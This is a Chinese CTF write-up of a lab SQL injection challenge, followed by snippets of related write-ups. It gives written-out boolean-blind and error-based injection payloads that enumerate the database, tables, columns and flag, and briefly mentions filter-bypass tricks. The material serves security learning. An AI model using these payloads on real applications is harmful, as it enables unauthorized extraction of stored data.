實驗吧 簡單sql注入之3

2021-09-10 09:02:27 字數 2966 閱讀 1059

簡單sql注入之3

以下皆根據布林盲注手工注入步驟並且借助burpsuite的intruder功能對資料庫名、表名等等進行爆破

需要注意:

0x00 爆資料庫

方法一:(可以通過burpsuite攔截資料報,更改ascii值重發獲取)

1』 and length(database())=n

#資料庫名長度是4

1』 and ascii(substr(database(),x,1))=n#

通過更改控制查詢資料庫名第幾位

substr(database(),1,1) 第一位是w

substr(database(),2,1) 第二位是e

substr(database(),3,1) 第三位是b

substr(database(),4,1) 第四位是1

方法二:另類猜資料庫名方法,寫乙個查詢失敗的函式,在其返回的錯誤資訊中獲得資料庫名

1』 and (select count(*) from aaa) > 0 #

table 『web1.aaa』 doesn』t exist,存在錯誤回顯,顯示資料庫名為web1

0x01 爆表名

1.先爆出表的個數

爆出破表的個數為2

2.爆各表的長度

1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=n#
第乙個表名長度為4

第乙個表名長度為5

3.爆各自表名

先第乙個表

通過更改substr(sql,n,1)中的n來確定爆表名的

substr(sql,1,1)第一位為:f

substr(sql,2,1)第二位為:l

substr(sql,3,1)第三位為:a

substr(sql,4,1)第四位為:g

所以表名為:flag

第乙個表表名都是flag了就可省略爆第二個表咯

0x02 爆列名

1.列的個數

所以有兩個列

2.各列名長度

1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit x,1))=n#
通過更改x控制查的是哪個列名

limit 0,1 第乙個列名長為4

limit 1,1 第二個列名長為2

3.各列名

1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit x,1),1,1))=n#
第乙個列名

依次更改substr(sql,1,1),第乙個列名第一位為:f

(sql,2,1),第乙個列名第二位為:l

(sql,3,1),第乙個列名第三位為:a

(sql,4,1),第乙個列名第四位為:g

0x03 爆資料

1.表中資料行數

有一行資料

2.各資料長度

資料長度26

3.各資料內容

1' and ascii(substr((select flag from flag limit 0,1),1,1)) = n #  

通過更改x來控制輸出

最後得到flag:flag

實驗吧 簡單的sql注入之2

burp fuzz 發現過濾了 select 空格而且它是直接die sqli detected 無法雙寫繞過,換大小寫試一下,也被過濾了。無法大小寫繞過。0aselect 0a無法繞過,select 和 select 可以繞過 由於無法使用 所以我們無法使用函式,報錯和database 都無法使用...

實驗吧之 簡單的sql注入 1 2 3

實驗吧的三道sql注入 感覺實驗吧大部分web都是注入 這道題也是sql注入,輸入1,頁面顯示正常,輸出1 頁面報錯 還是走流程把 fuzz下 下面嘗試爆表名和字段,發現他過濾了很多關鍵字 and,select,from,union,where,這裡繞過關鍵字的方法有 關鍵字中間加 隔斷,關鍵字 關...

實驗吧 簡單的SQL注入2

首先輸入1,發現有將資料庫的查詢結果顯示出來 輸入單引號,發現錯誤,這時候可以猜測後台查詢語句 select name from table where id 可以先嘗試萬能密碼 查詢語句就變成 select name from table where id 會把所以結果都顯示出來一共三條記錄 接下...